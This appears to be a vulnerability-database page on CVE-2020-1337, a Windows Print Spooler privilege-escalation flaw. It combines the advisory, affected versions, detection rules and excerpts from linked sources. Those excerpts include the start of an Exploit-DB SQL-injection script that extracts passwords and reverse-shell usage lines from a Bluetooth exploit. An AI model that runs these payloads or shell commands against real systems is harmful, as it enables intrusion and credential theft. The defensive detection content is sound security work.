CVE-2020-1337
published 2020-08-17CVE-2020-1337: An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system. An attacker who…
PriorityP355high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
EXPLOIT
EPSS
14.18%
96.2th percentile
An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted script or application.
The update addresses the vulnerability by correcting how the Windows Print Spooler Component writes to the file system.
Affected
52 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | windows_10 | — | — |
| microsoft | windows_10 | — | — |
| microsoft | windows_10 | — | — |
| microsoft | windows_10 | — | — |
| microsoft | windows_10 | — | — |
| microsoft | windows_10 | — | — |
| microsoft | windows_10 | — | — |
| microsoft | windows_10_version_1507 | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1607 | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1709 | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1709_for_32-bit_systems | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1803 | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1809 | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1903_for_32-bit_systems | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1903_for_arm64-based_systems | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1903_for_x64-based_systems | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_1909 | >= 10.0.0 < publication | publication |
| microsoft | windows_10_version_2004 | >= 10.0.0 < publication | publication |
| microsoft | windows_7 | — | — |
| microsoft | windows_7 | >= 6.1.0 < publication | publication |
| microsoft | windows_7_service_pack_1 | >= 6.1.0 < publication | publication |
| microsoft | windows_8.1 | >= 6.3.0 < publication | publication |
| microsoft | windows_server_2008 | — | — |
| microsoft | windows_server_2008_r2_service_pack_1 | >= 6.0.0 < publication | publication |
| microsoft | windows_server_2008_r2_service_pack_1 | >= 6.1.0 < publication | publication |
Detection & IOCsextracted from sources · hover to see the quote
sigma↗
EventType In ( "File Rename","File Creation" ) AND TgtFilePath Contains Anycase "spooldriversx64" AND TgtFilePath Contains Anycase "Old" AND TgtFilePath Contains Anycase "dll" AND TgtFileIsSigned != "signed" AND AgentMachineType In ( "Server" )
- →CVE-2020-1337 is a patch bypass for CVE-2020-1048; the Windows Print Spooler service improperly allows arbitrary writing to the file system, enabling privilege escalation from a regular user context to SYSTEM. ↗
- →The Metasploit module for CVE-2020-1337 (cve_2020_1337_printerdemon) exploits a file write in the Print Spooler service to load a persistent DLL that cannot be removed once loaded, resulting in a permanent elevated backdoor. ↗
- →Hunt for unsigned DLLs written or renamed under the spool drivers x64 path as an indicator of Print Spooler exploitation. ↗
- ·CVE-2020-1337 was disclosed and demonstrated publicly at Black Hat 2020, and a proof-of-concept exploit (including video demonstration) was made available, increasing the likelihood of exploitation in the wild. ↗
- ·The Metasploit exploit module for CVE-2020-1337 results in a permanent elevated backdoor DLL that cannot be cleaned up once loaded by the Print Spooler service, even after patching. ↗
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vendor_msrc7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-9mv8-62q2-x7p7: An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system, aka 'Win
ghsa_unreviewed·2022-05-24
CVE-2020-1337 [HIGH] CWE-269 GHSA-9mv8-62q2-x7p7: An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system, aka 'Win
An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system, aka 'Windows Print Spooler Elevation of Privilege Vulnerability'.
Microsoft
Windows Print Spooler Elevation of Privilege Vulnerability
vendor_msrc·2020-08-11·CVSS 7.8
CVE-2020-1337 [HIGH] Windows Print Spooler Elevation of Privilege Vulnerability
Windows Print Spooler Elevation of Privilege Vulnerability
Description: An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted script or application.
The update addresses the vulnerability by correcting how the Windows Print Spooler Component writes to the file system.
Windows Print Spooler Components: Windows Print Spooler Components
Microsoft: Microsoft
Impa
Elastic
Deprecated - Suspicious PrintSpooler Service Executable File Creation
elastic_rules·CVSS 7.8
CVE-2020-1048 [HIGH] Deprecated - Suspicious PrintSpooler Service Executable File Creation
Deprecated - Suspicious PrintSpooler Service Executable File Creation
Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service. For more
information refer to the following CVE's - CVE-2020-1048, CVE-2020-1337 and CVE-2020-1300 and verify that the impacted
system is patched.
Query:
event.category : "file" and host.os.type : "windows" and event.type : "creation" and
process.name : "spoolsv.exe" and file.extension : "dll"
YARA
HKTL_NET_GUID_CVE_2020_1337
yara·CVSS 7.8
CVE-2020-1337 [HIGH] HKTL_NET_GUID_CVE_2020_1337
rule HKTL_NET_GUID_CVE_2020_1337 {
meta:
description = "Detects c# red/black-team tools via typelibguid"
reference = "https://github.com/neofito/CVE-2020-1337"
author = "Arnim Rupp"
date = "2020-12-13"
strings:
$typelibguid0 = "d9c2e3c1-e9cc-42b0-a67c-b6e1a4f962cc" ascii nocase wide
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
}
Elastic
Suspicious Print Spooler SPL File Created
elastic_rules·CVSS 7.8
CVE-2020-1048 [HIGH] Suspicious Print Spooler SPL File Created
Suspicious Print Spooler SPL File Created
Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service including
CVE-2020-1048 and CVE-2020-1337.
Query:
file where host.os.type == "windows" and event.type != "deletion" and
file.extension : "spl" and
file.path : "?:\\Windows\\System32\\spool\\PRINTERS\\*" and
not process.name : ("spoolsv.exe",
"printfilterpipelinesvc.exe",
"PrintIsolationHost.exe",
"splwow64.exe",
"msiexec.exe",
"poqexec.exe",
"System") and
not user.id : "S-1-5-18" and
not process.executable :
("?:\\Windows\\System32\\mmc.exe",
"\\Device\\Mup\\*.exe",
"?:\\Windows\\System32\\svchost.exe",
"?:\\Windows\\System32\\mmc.exe",
"?:\\Windows\\System32\\printui.exe",
"?:\\Windows\\System32\\mstsc.exe",
"?:\\Windows\\System32\\spool\\*.exe
Exploit-DB
Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution
exploitdb·2021-04-08·CVSS 8.8
CVE-2020-12352 [HIGH] Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution
Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution
---
# Exploit Title: Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution
# Date: 06/04/2020
# Exploit Author: Google Security Research (Andy Nguyen)
# Tested on: 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# CVE : CVE-2020-12351, CVE-2020-12352
/*
* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution
* by Andy Nguyen (theflow@)
*
* This Proof-Of-Concept demonstrates the exploitation of
* CVE-2020-12351 and CVE-2020-12352.
*
* Compile using:
* $ gcc -o exploit exploit.c -lbluetooth
*
* and execute as:
* $ sudo ./exploit target_mac source_ip source_port
*
* In another terminal, run:
* $ nc -lvp 1337
* exec bash -i 2>&0 1>&0
*
*
Exploit-DB
Online-Exam-System 2015 - 'feedback' SQL Injection
exploitdb·2020-06-05
Online-Exam-System 2015 - 'feedback' SQL Injection
Online-Exam-System 2015 - 'feedback' SQL Injection
---
# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://github.com/sunnygkp10/
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
# Affected Version: 2015
# Tested on: Ubuntu
# CVE : N/A
import requests, string, time
from sys import stdout
URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")
payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','[email protected]','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
so_far = hash = ""
while T
Metasploit
Microsoft Spooler Local Privilege Elevation Vulnerability
metasploit
CVE-2020-1337 Microsoft Spooler Local Privilege Elevation Vulnerability
Microsoft Spooler Local Privilege Elevation Vulnerability
This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor.
Tenable
One Year Later: What Can We Learn from Zerologon?
blogs_tenable·2021-08-11
One Year Later: What Can We Learn from Zerologon?
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Sentinelone
PrintNightmare Vulnerability: Analysis and Mitigation
blogs_sentinelone·2021-07-14·CVSS 7.8
CVE-2021-34527 [HIGH] PrintNightmare Vulnerability: Analysis and Mitigation
## Executive Summary
- A remote code execution vulnerability is being dubbed ‘PrintNightmare’ (CVE-2021-34527 and CVE-2021-1675).
- The vulnerabilities are present in the Windows Spooler Service present on all Windows versions.
- Microsoft has released two patches to address these vulnerabilities (an Out-of_Band update on July 1 as well as the July 13th monthly update).
- Exploit code is readily available and has already been folded into popular hacking tools like Mimikatz and the Metasploit framework.
- SentinelOne has provided DeepVisibility queries to detect attempts to exploit PrintNightmare in customer environments.
## What Happened?
On June 29, 2021, details emerged of a remotely exploitable vulnerability in the Microsoft Windows Print Spooler service affecting all versions of Win
Sentinelone
PrintNightmare Vulnerability: Analysis and Mitigation
blogs_sentinelone·2021-07-14·CVSS 7.8
CVE-2021-34527 [HIGH] PrintNightmare Vulnerability: Analysis and Mitigation
## Executive Summary
A remote code execution vulnerability is being dubbed ‘PrintNightmare’ (CVE-2021-34527 and CVE-2021-1675).
The vulnerabilities are present in the Windows Spooler Service present on all Windows versions.
Microsoft has released two patches to address these vulnerabilities (an Out-of_Band update on July 1 as well as the July 13th monthly update).
Exploit code is readily available and has already been folded into popular hacking tools like Mimikatz and the Metasploit framework.
SentinelOne has provided DeepVisibility queries to detect attempts to exploit PrintNightmare in customer environments.
## What Happened?
On June 29, 2021, details emerged of a remotely exploitable vulnerability in the Microsoft Windows Print Spooler service affecting all versions of Windows t
Tenable
CVE-2021-1675: Proof-of-Concept Leaked for Critical Windows Print Spooler Vulnerability
blogs_tenable·2021-06-29·CVSS 7.8
[HIGH] CVE-2021-1675: Proof-of-Concept Leaked for Critical Windows Print Spooler Vulnerability
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Microsoft’s November 2020 Patch Tuesday Addresses 112 CVEs including CVE-2020-17087
blogs_tenable·2020-11-10·CVSS 7.8
[HIGH] Microsoft’s November 2020 Patch Tuesday Addresses 112 CVEs including CVE-2020-17087
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Krebs
Microsoft Patch Tuesday, August 2020 Edition
blogs_krebs·2020-08-11·CVSS 7.8
[HIGH] Microsoft Patch Tuesday, August 2020 Edition
Microsoft today released updates to plug at least 120 security holes in its Windows operating systems and supported software, including two newly discovered vulnerabilities that are actively being exploited. Yes, good people of the Windows world, it’s time once again to backup and patch up!
At least 17 of the bugs squashed in August’s patch batch address vulnerabilities Microsoft rates as “critical,” meaning they can be exploited by miscreants or malware to gain complete, remote control over an affected system with little or no help from users. This is the sixth month in a row Microsoft has shipped fixes for more than 100 flaws in its products.
The most concerning of these appears to be CVE-2020-1380 , which is a weaknesses in Internet Explorer that could result in system compromise just
Tenable
Microsoft’s August 2020 Patch Tuesday Addresses 120 CVEs (CVE-2020-1337)
blogs_tenable·2020-08-11·CVSS 7.8
[HIGH] Microsoft’s August 2020 Patch Tuesday Addresses 120 CVEs (CVE-2020-1337)
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Krebs
Microsoft Patch Tuesday, August 2020 Edition
blogs_krebs·2020-08-11·CVSS 7.8
CVE-2020-1380 [HIGH] Microsoft Patch Tuesday, August 2020 Edition
Microsoft today released updates to plug at least 120 security holes in its Windows operating systems and supported software, including two newly discovered vulnerabilities that are actively being exploited. Yes, good people of the Windows world, it’s time once again to backup and patch up!
The most concerning of these appears to be CVE-2020-1380, which is a weaknesses in Internet Explorer that could result in system compromise just by browsing with IE to a hacked or malicious website. Microsoft’s advisory says this flaw is currently being exploited in active attacks.
The other flaw enjoying active exploitation is CVE-2020-1464, which is a “spoofing” bug in virtually all supported versions of Windows that allows an attacker to bypass Windows security features and load improperly signed f
http://packetstormsecurity.com/files/160028/Microsoft-Windows-Local-Spooler-Bypass.htmlhttp://packetstormsecurity.com/files/160993/Microsoft-Spooler-Local-Privilege-Elevation.htmlhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1337http://packetstormsecurity.com/files/160028/Microsoft-Windows-Local-Spooler-Bypass.htmlhttp://packetstormsecurity.com/files/160993/Microsoft-Spooler-Local-Privilege-Elevation.htmlhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1337
2020-08-17
Published